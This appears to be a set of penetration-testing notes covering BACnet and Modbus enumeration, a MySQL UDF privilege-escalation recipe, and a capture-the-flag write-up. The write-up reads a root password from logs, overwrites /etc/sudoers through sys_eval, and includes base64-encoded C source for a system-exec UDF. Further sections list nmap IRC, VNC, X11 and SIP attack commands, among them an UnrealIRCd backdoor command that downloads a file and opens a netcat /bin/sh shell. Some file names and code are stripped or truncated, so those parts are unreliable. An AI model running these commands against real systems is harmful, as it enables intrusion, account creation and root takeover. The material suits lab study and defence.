Pentesting ICS (BACnet)

What is BACnet

Simulators ->

Download -> UnTar then

$ make clean all
$ sudo ./bacnet4linux -D4 -m2 -p5555 -v5556 

Then access: https://localhost:8000/


Use nmap to identify the device:

$ sudo nmap --script bacnet-info -sU -p 47808

or shodan with dork:



Major HVAC vendors such as Honeywell and Johnson Controls have their own proprietary network protocols, and there are also standard protocols for building automation systems. Expert familiar with these protocols say they all lack security features that would recognize and isolate bogus devices.

Consider BACnet, for Building Automation and Control network. It is an ASHRAE, ANSI, ISO 16484-5 standard. Some 842 HVAC vendors now use it. So it is probably a good candidate for testing.

typical bacnet system

BacNET can be implemented via serial or TCP/IP. We see both quite often. BacNET doesn’t usually provide for authentication or integrity validation, so once you get access to the BacNET, it’s game over for the building. And there are a variety of ways to get access to a building’s BacNET.

The BACnet protocol defines a number of services used to communicate between building devices and also 59 object types that the services act on. But only in 2016 did the BACnet committee in charge of the protocol’s definition release an addendum adding IT security concepts.


BACnet objects have a set of properties used to exchange information with other objects. So a Pi attached to BACnet network lines would look like any other low-level node on the network. The Raspberry Pi would act as a level-two device. There’s no authentication of the command line communication between any of these devices. BACnet is peer-to-peer protocol so it can have thousands of devices trusting each other on its network. As long as the command that’s issued is valid, the device will obey it. Same problem exists on proprietary networks.

MySql User-Defined Function (UDF) Privilege Escalation (Windows & Linux)

We will get in to making our own functions in later posts but for now the UDF compiled shared objects from SQLMap are great.

Windows Escalation

mysql> USE mysql;
mysql> CREATE TABLE pwn(line blob);
mysql> INSERT INTO pwn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
mysql> SELECT * FROM mysql.pwn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
mysql> SELECT sys_exec("net user pwned pwn123! /add");
mysql> SELECT sys_exec("net localgroup Administrators pwned /add");

Linux Escalation

mysql> use mysql;
mysql> create table pwn(line blob);
mysql> insert into pwn values(load_file('/home/npn/'));
mysql> select * from pwn into dumpfile '/usr/lib/';
mysql> create function sys_exec returns integer soname '';
mysql> select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Verify Command Execution

user@box:/$ cat /tmp/out uid=0(root) gid=0(root) groups=0(root)

You can now execute code as root, what more do you need? You can allow SUDO all no password or create SETUID shell program with c, execute a reverse shell etc, whatever you want; be creative.

The Golden Logs II

This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!

The Challenge

A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!

Your mission is to get a root shell on the box!

Challenge Accepted

First bit was easy, I knew it was about logs because of challenge info and title so figured we would want something either setuid or a service running as root that dumps things to a log file. So first thing was sudo -l followed by a grep of /var/log/mysql as we knew sudo init.d started mysql.

student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs

Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.

student@attackdefense:~$ echo "[client]" > .my.cnf
student@attackdefense:~$ echo "user=root" >> .my.cnf
student@attackdefense:~$ echo "password=adlabs@adlabs" >> .my.cnf

Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.

We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…

mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
| @@GLOBAL.secure_file_priv |
| /var/lib/mysql-files/     |
1 row in set (0.00 sec)

secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE()function. These operations are permitted only to users who have the FILE privilege. Basically, good idea for security! Take note.

However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!

student@attackdefense:/usr/lib/mysql/plugin$ ls -la /usr/lib/mysql/plugin
total 664
drwxr-xr-x 1 root root   4096 Oct 18 14:51 .
drwxr-xr-x 1 root root   4096 Sep 24  2018 ..
-rw-r--r-- 1 root root  21224 Jul 27  2018
-rw-r--r-- 1 root root   6288 Jul 27  2018
-rw-r--r-- 1 root root  44144 Jul 27  2018
-rw-r--r-- 1 root root 112792 Jul 27  2018
-rw-r--r-- 1 root root  84512 Jul 27  2018
-rwxr-xr-x 1 root root  13192 Oct 18 14:51
-rw-r--r-- 1 root root 158688 Jul 27  2018
-rw-r--r-- 1 root root   5824 Jul 27  2018
-rw-r--r-- 1 root root  10840 Jul 27  2018
-rw-r--r-- 1 root root   6064 Jul 27  2018
-rw-r--r-- 1 root root  56064 Jul 27  2018
-rw-r--r-- 1 root root  56936 Jul 27  2018
-rw-r--r-- 1 root root  14768 Jul 27  2018
-rw-r--r-- 1 root root  27568 Jul 27  2018
-rw-r--r-- 1 root root  27200 Jul 27  2018

One instantly stands out…

-rwxr-xr-x 1 root root 13192 Oct 18 14:51

Let’s see what this is…

TL;DR — lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system.

Github info.html

Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.

The Solution

student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id")                          |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
1 row in set (0.04 sec)

mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
| NULL                                                             |
1 row in set (0.02 sec)

mysql> exit
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)


During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.

Writing Source Code to File without Text Editor/Echo

Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.

student@attackdefense:/tmp$ echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmVudW0gSXRlbV9yZXN1bHQge1NUUklOR19SRVNVTFQsIFJFQUxfUkVTVUxULCBJTlRfUkVTVUxULCBST1dfUkVTVUxUfTsKCnR5cGVkZWYgc3RydWN0IHN0X3VkZl9hcmdzIHsKCXVuc2lnbmVkIGludAkJYXJnX2NvdW50OwoJZW51bSBdGVtX3Jlc3VsdAkqYXJnX3R5cGU7CgljaGFyIAkJCSoqYXJnczsKCXVuc2lnbmVkIGxvbmcJCSpsZW5ndGhzOwoJY2hhcgkJCSptYXliZV9udWxsOwp9IFVERl9BUkdTOwoKdHlwZWRlZiBzdHJ1Y3Qgc3RfdWRmX2luaXQgewoJY2hhcgkJCW1heWJlX251bGw7Cgl1bnNpZ25lZCBpbnQJCWRlY2ltYWxzOwoJdW5zaWduZWQgbG9uZyAJCW1heF9sZW5ndGg7CgljaGFyCQkJKnB0cjsKCWNoYXIJCQljb25zdF9pdGVtOwp9IFVERl9JTklUOwoKaW50IGRvX3N5c3RlbShVREZfSU5JVCAqaW5pdGlkLCBVREZfQVJHUyAqYXJncywgY2hhciAqaXNfbnVsbCwgY2hhciAqZXJyb3IpCnsKCWlmIChhcmdzLT5hcmdfY291bnQgIT0gMSkKCQlyZXR1cm4oMCk7CgoJc3lzdGVtKGFyZ3MtPmFyZ3NbMF0pOwoKCXJldHVybigwKTsKfQ==" | base64 -d > priv.c
student@attackdefense:/tmp$ cat priv.c
#include <stdio.h>
#include <stdlib.h>


typedef struct st_udf_args {
        unsigned int            arg_count;
        enum Item_result        *arg_type;
        char                    **args;
        unsigned long           *lengths;
        char                    *maybe_null;

typedef struct st_udf_init {
        char                    maybe_null;
        unsigned int            decimals;
        unsigned long           max_length;
        char                    *ptr;
        char                    const_item;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
        if (args->arg_count != 1)



Dump MySql Environment and Config Variables

student@attackdefense:~$ mysqld --verbose --help
student@attackdefense:~$ mysqladmin variables -u root -p

Understand MySql/MySqld etc will be Invoked

student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address= --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M

Modbus is a serial communications protocol originally published by Modicon (now Schneider Electric) in 1979 for use with its programmable logic controllers (PLCs). Modbus has become a de facto standard communication protocol and is now a commonly available means of connecting industrial electronic devices.

Enumerate with Nmap

Modbus-discover enumerates SCADA Modbus slave ids (sids) and collects their device information.

Modbus is one of the popular SCADA protocols. This script does Modbus device information disclosure. It tries to find legal sids (slave ids) of Modbus devices and to get additional information about the vendor and firmware. This script is improvement of modscan python utility written by Mark Bristow.

Information about MODBUS protocol and security issues:

Example Usage

nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 <host>

Enumerate with Modscan

IRC (6667 TCP default; 6665 – 6669 TCP)

About IRC

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model. IRC clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on 3rd party server. These clients communicate with chat servers to transfer messages to other clients. IRC is mainly designed for group communication in discussion forums, called channels, but also allows one-on-one communication via private messages as well as chat and data transfer, including file sharing.


File irc-info

Script types: portrule 
Categories: defaultdiscoverysafe 

User Summary

Gathers information from an IRC server.

It uses STATS, LUSERS, and other queries to obtain this information.

Example Usage

nmap -sV -sC <target>

Script Output

6665/tcp open     irc | irc-info: |   server: |   version: ircd-seven-1.1.3(20111112-b71671d1e846,charybdis-3.4-dev). |   servers: 31 |   ops: 36 |   chans: 48636 |   users: 84883 |   lservers: 1 |   lusers: 4350 |   uptime: 511 days, 23:02:29 |   source host: |_  source ident: NONE or BLOCKED

File irc-unrealircd-backdoor

Script types: portrule 
Categories: exploitintrusivemalwarevuln 

User Summary

Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond.

The irc-unrealircd-backdoor.command script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here:

  $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
  $ ncat -vv localhost 4444
  Ncat: Version 5.30BETA1 ( )
  Ncat: Connected to

Metasploit can also be used to exploit this vulnerability.

In addition to running arbitrary commands, the irc-unrealircd-backdoor.kill script argument can be passed, which simply kills the UnrealIRCd process.


File irc-brute

Script types: portrule 
Categories: bruteintrusive 

User Summary

Performs brute force password auditing against IRC (Internet Relay Chat) servers.

Script Arguments

passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb

See the documentation for the unpwdb library.


See the documentation for the creds library.

brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass

See the documentation for the brute library.

Example Usage

nmap --script irc-brute -p 6667 <ip>

Script Output

PORT     STATE SERVICE 6667/tcp open  irc | irc-brute: |   Accounts |     password - Valid credentials |   Statistics |_    Performed 1927 guesses in 36 seconds, average tps: 74

File irc-sasl-brute

Script types: portrule 
Categories: bruteintrusive 

User Summary

Performs brute force password auditing against IRC (Internet Relay Chat) servers supporting SASL authentication.

Script Arguments


the number of threads to use while brute-forcing. Defaults to 2.

passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb

See the documentation for the unpwdb library.


See the documentation for the creds library.

brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass

See the documentation for the brute library.

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

Example Usage

nmap --script irc-sasl-brute -p 6667 <ip>

Script Output

6667/tcp open  irc     syn-ack
| irc-sasl-brute:
|   Accounts
|     root:toor - Valid credentials
|   Statistics
|_    Performed 60 guesses in 29 seconds, average tps: 2



This module exploits a malicious backdoor that was added to the Unreal IRCD download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

use unix/irc/unreal_ircd_3281_backdoor

R SERVICES (512, 513 & 514)

TCP ports 512, 513, and 514 are known as “r” services, and can be misconfigured in a way that allows remote access from any host (a standard “.rhosts + +” situation). If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

# rlogin -l root
X11 (6000+)
  • X11 Enumeration
    • List open windows
    • Authentication Method
      • Xauth
      • Xhost
  • X11 Exploitation
    • xwd
      • xwd -display -root -out
    • Keystrokes
      • Received
      • Transmitted
    • Screenshots
    • xhost +
  • Examine Configuration Files
    • /etc/Xn.hosts
    • /usr/lib/X11/xdm
      • Search through all files for the command “xhost +” or “/usr/bin/X11/xhost +”
    • /usr/lib/X11/xdm/xsession
    • /usr/lib/X11/xdm/xsession-remote
    • /usr/lib/X11/xdm/xsession.0
    • /usr/lib/X11/xdm/xdm-config
      • DisplayManager*authorize:on
VNC (5900+)
  • VNC Enumeration
    • Scans
      • 5900^ for direct access.5800 for HTTP access.
  • VNC Brute Force
    • Password Attacks
      • Remote
        • Password Guess
        • Password Crack
          • vncrack
          • Packet Capture
            • Phoss
      • Local
        • Registry Locations
          • \HKEY_CURRENT_USER\Software\ORL\WinVNC3
          • \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
        • Decryption Key
          • 0x238210763578887
  • Exmine Configuration Files
    • .vnc
    • /etc/vnc/config
    • $HOME/.vnc/config
    • /etc/sysconfig/vncservers
    • /etc/vnc.conf
SIP (5060)
  • SIP Enumeration
    • netcat
      • nc IP_Address Port
    • sipflanker
      • python 192.168.1-254
    • Sipscan
    • smap
      • smap IP_Address/Subnet_Mask
      • smap -o IP_Address/Subnet_Mask
      • smap -l IP_Address
  • SIP Packet Crafting etc.
    • sipsak
      • Tracing paths: – sipsak -T -s sip:usernaem@domain
      • Options request:- sipsak -vv -s sip:username@domain
      • Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
    • siprogue
  • SIP Vulnerability Scanning/ Brute Force
  • Examine Configuration Files
    • SIPDefault.cnf
    • asterisk.conf
    • sip.conf
    • phone.conf
    • sip_notify.conf
    • <Ethernet address>.cfg
    • 000000000000.cfg
    • phone1.cfg
    • sip.cfg etc. etc.